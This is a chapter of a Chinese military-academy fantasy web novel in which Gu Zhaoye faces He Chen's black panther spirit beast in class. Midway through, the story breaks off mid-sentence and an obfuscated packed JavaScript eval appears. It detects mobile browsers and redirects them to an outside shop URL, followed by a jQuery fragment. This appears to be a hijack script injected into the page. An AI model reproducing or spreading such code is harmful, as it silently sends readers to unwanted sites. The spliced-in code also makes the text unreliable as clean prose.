“顾昭野。”
“到。”
教官站在讲台……不,这里没有讲台。
天枢班的教室更像一个空旷的训练场。教官站在最前面,手里捏着一份名单,一个一个地往下念。
。
分班通知下来的第二天就需要正式上课。一年级的必修课程有三门:
[精神体基础理论与控制]
[虫族生物学与解剖]
[实际对抗训练]
顾昭野在第二天换上了当初定制的训练服,黑色,裁剪很合身,面料比普通校服厚实一些,穿在身上有种利落的紧绷感。
宁迁从卫生间出来的时候也已经穿戴整齐,他的目光在顾昭野身上扫了一圈,最后落在他的手臂上。
高级定制的训练服,手臂上都会绣着家族的族徽。
宁迁的徽章是一枚盾牌,他们家族最出色的都是beta,盾牌象征着守护与坚忍。
宁迁看着顾昭野空荡荡的袖管,表情有点失望,但很快恢复正常,他还有更好奇的事:“野哥,你打算以后走哪个流派啊?”
顾昭野脚步微顿,侧过头,眉梢轻挑。
流派?
“这总不是什么需要保守的秘密吧?”宁迁见他没有回答,笑道,“提前告诉我呗,没准咱们还能接着做搭档,配合训练呢!”
原来还会分流派么?就跟文理分班一样?
不过这对顾昭野来说并不重要,他完完全全是个萌新,什么流派在他眼里都是一张白纸。
顾昭野想了想,吐出两个字:“都行。”
宁迁的脚步一顿。
“都行?”他重复了一遍,语气里带着一种难以置信的意味。
“嗯。”顾昭野应得漫不经心。
宁迁又看了他一眼,这次的眼神变了。
都行,不做选择,往往意味着,全都要。
那不就是要双修的意思么?
“这么强?”宁迁嘴角弯了一下,带着点笑。
顾昭野径直走进教室,脚刚踏进门槛,一种被窥视的触感便如芒在背。
那不是路人随意的扫视,而是几道如有实质的目光,沉甸甸地黏在他身上,像是在确认某种危险源。
但他没在意,走到角落里站好。
“辰哥!”宁迁忽然扬声喊了一句,打破了教室里的静谧。
顾昭野也随之偏过头。
因为有一道极具侵略性的视线瞬间锁定了他。
顾昭野看过去,是昨天电梯里的黑发青年。
两个人的视线在半空中撞在一起。
没有人释放信息素,但一种无形且没有气味的重压,正从黑发青年的方向无声无息地蔓延开来。那像是一层薄薄的寒雾,带着令人窒息的静谧,直奔他而来。
顾昭野的后颈忽然一紧。
那种感觉,就像是有某种危险的掠食者悄无声息地贴到了身后,獠牙抵在了腺体上。他的腺体开始发麻,周身的空气也渐渐变冷,像有两股无形的力量在无声碰撞,连呼吸都变得艰难。
顾昭野没有表现出慌乱,因为他的思绪正飘在别处,书上好像提过,精神力和信息素是可以剥离控制的,既然没有信息素的味道,那这种压迫感是纯粹的……精神力?
“除了后面的精神力对抗训练,学生间禁止课上内斗。”一个声音忽然从前面传来,打断了顾昭野的思绪。
方强强站在了两人中间,头发扎得很紧,表情严肃。“赫辰,”她的声音不高,却清晰地切开了空气里的凝滞,“你打算遵守我的课堂纪律么?”
所有人的目光都转向了那个黑发青年。
赫辰的神情依旧淡漠,仿佛刚才那股令人战栗的压迫感从未存在过,他极轻地点了一下头,动作敷衍,一种近乎傲慢的顺从。
“当然。”他说。
方强强盯着他看了两秒,才缓缓移开视线,她扫过顾昭野,那眼神很快,没有多说什么,毕竟刚才是赫辰先挑事,顾昭野算是正当防卫。
“在这个班里的都是优质Alpha,未来的精英。想必你们心里已经对自己的流派有了考量。但我不建议你们刚开始就把自己锁死在某个方向。”
方强强顿了顿,目光再次扫过每一张年轻而桀骜的脸。
听完方强强的解释,顾昭野才恍然大悟。
军校主要分化为两个流派。
兽体系,精神体具象化为猛兽,是正面的钢铁洪流,突击的利刃,他们靠精神体撕碎虫族,本体则负责掩护与配合,是战场上的杀戮机器。
精神系,精神体作为直接的武器,擅长远程操控与干扰,防卫者,能对虫族进行精神冲击,植入幻觉,也能为友方提供战场感知屏蔽。
“就算你决定要选择精神系,”方强强的语气加重了几分,“也不能忽视我的精神体基础理论与控制,好了,现在开始上课。”
顾昭野在心底悄悄松了一口气。
开学第一课,没有自我介绍环节。他最怕的就是那种被推到台前,被迫向一群陌生人剖析自己的尴尬时刻。
然而,这口气还没完全吐出来,方强强的下一句话就像一盆冰水,瞬间浇灭了他的庆幸。
“请大家站在各自的隔离区,释放出自己的精神体。”
顾昭野脸上的表情凝固。
地上设置一下隔离区,每个人一个,直径大约两米,学生们三三两两地走进去,顾昭野找到最近的那个,站了进去。
可是,他的精神体……还没有孵化。
周围的空气开始躁动。
精神体一个接一个地破空显现,光怪陆离的虚影在隔离区内凝结成实体,它们有的温顺地伏在主人脚边蹭着裤腿,有的则昂着头,警惕地打量着四周。
隔离区的力场屏蔽了大部分信息素的冲撞,但是顾昭野仍然会觉得内心隐隐躁动,他还站在自己的圈里,显得格格不入。
但他很快发现,自己并不孤单。
赫辰就站在他斜前方的隔离区里。那个黑发青年双手插在裤兜里,什么也没做,仿佛是在看一场与己无关的闹剧。
顾昭野心头莫名一松,还好不止他一个。
方强强自然也注意到了这一点,她的目光如刀锋般刮过赫辰的脸:“赫同学,你的精神体呢?”
赫辰冷淡地说:“放出来,这里就没人能站着听课了。”
紧接着,一声极轻的笑意打破了沉默。
顾昭野没忍住,他是真的觉得这个理由有点好笑,这未免太敷衍,教官会信么?
他的嘴角刚弯起一个极浅的弧度,还没来得及收回,那声气音就在过分安静的教室里显得格外刺耳。
然后顾昭野发现,周围的气氛变了。
那些目光像突然转向的探照灯,齐刷刷地钉在他身上。
旁人只见顾昭野唇角微挑,喉间迸出一声嗤笑,那笑又轻又短,当他抬眼扫过赫辰时,目光里淬着毫不掩饰的讥诮,像是在说:就这?
宁迁站在旁边,心里已经炸开了锅。他看着顾昭野,脸上的表情从惊讶变成了佩服,他还真没见过敢这么直接嘲讽赫辰的人,他这舍友,也太6了!上来就这么刚,刺激!
顾昭野愣了一下,然后意识到……他刚才是不是不该笑?
顾昭野的脑子飞速转了一下,然后他做了一件他认为很聪明的事。
“我也是。”他淡淡地说。
他的意思是:我在附和你的话,我跟你是一边的,是认同你的。
方强强笑了一声,看向另一个学生,“你,”她说,“指挥你的精神体攻击他。”
那个学生愣了一下,脸上的表情变了,不是惊讶,我?攻击赫辰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396192|200251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
方强强站在他身后,没有动,只是看着他:“执行命令。”
那个学生的精神体是一只银灰色的狼,体型不大,但线条很流畅,像一把拉满的弓。
教官的命令无法违抗,银灰色的狼向前迈了一步,四肢紧绷,獠牙毕露,准备扑上前狠狠撕咬。
但它还没有靠近赫辰,脊背猛地弓起,四肢弯曲,前爪深深扣进地面,喉咙里发出低沉的呜咽。
它的面前压下一道阴影,是一头豹子。
黑色的豹子,通体漆黑,没有一丝杂色,黑得像是要把周围的光都吸进去,它的体型比普通的豹子大得多,肩高几乎到成年人的腰部,四肢粗壮,肌肉在皮毛下滚动,像潜伏在夜色中的河流,它的爪子落在金属地面上,发出轻微的刮擦声。
它的眼睛是金色的,像两团烧在暗处的火。
黑豹缓慢地扫过在场每一个人的脸,那目光不像是在看同类,像是在看一群可以被随意撕碎的猎物。
空间里的空气骤然凝滞了。
那些已经释放出来的精神体同时做出了反应,狼夹起了尾巴,鹰收拢了翅膀,蛇盘成了一团。
宁迁是一个beta,beta没有精神体,但他也从来不想正面注视着赫辰的精神体。
黑豹绕着赫辰转了一圈,紧接着,它的目光穿过人群,直勾勾地落在了角落里。
——落在了顾昭野身上。
赫辰站在黑豹身后,表情很淡,同样淡淡地注视着顾昭野的方向。
哦,难怪他姓赫。
黑豹家族。
帝国最古老的Alpha血脉之一,他们的精神体世代相传,每一代都是这种通体漆黑的猛兽。
顾昭野忽然意识到自己刚才做了一件蠢事,他说我也是,但赫辰明显是真的,而他不是,他不应该附和的……
黑豹开始动了,像一片乌云在移动,它穿过人群,学生们自动让开了一条路。
它朝着顾昭野走来。
顾昭野站在原地,没有动。
不是因为他不想动,是因为他在想,跑肯定是跑不过的,而且这是课堂,教官就在前面,总不能真让豹子咬死他吧?
他求助式地看向方强强。
方强强表情很平静,像是在看一场她已经知道结果的实验,她的眼神里没有阻止的意思,大概是说:没错,我就是这个打算,你们这种alpha气性大没关系,她会一个个逼出来的。
顾昭野有点绝望。
黑豹已经走到他面前了。
距离不到两米。他能看清它眼睛里的金色纹路,能闻到它身上散发出的气味,不是信息素,是野兽的气味。
金色的眼睛盯着他,瞳孔缩成两道细线。
顾昭野也盯着它。
虽然,他其实想摸一把,试试手感。
这只黑豹的毛发看上去非常细腻,在灯光下泛着一种近乎丝绸的光泽,是硬的还是软的?像缎子还是像钢丝?
但现在他更需要思考自己的生命安全。
黑豹的嘴张开了。
顾昭野的脑子空白了一瞬。
他看到了它的牙齿,不是人类的牙齿,是匕首,是锯齿,口腔深处一片漆黑,那是通往某个天堂的路口。
然后——
嘭。
有什么东西砸在了黑豹的头顶。
很大,还很结实,砸上去的声音像一颗石头扔进了铁桶。
黑豹的头往下沉了一下,它的身体顿住了,眼睛里闪过一丝……困惑?
那个东西从豹子的头顶滚落下来,在地上弹了一下,发出咚的一声闷响,又滚了两圈,摇摇晃晃地,停在了顾昭野脚边。
是一颗蛋。
咔。
很明显的一声。
光滑的蛋壳上出现了明显的裂纹。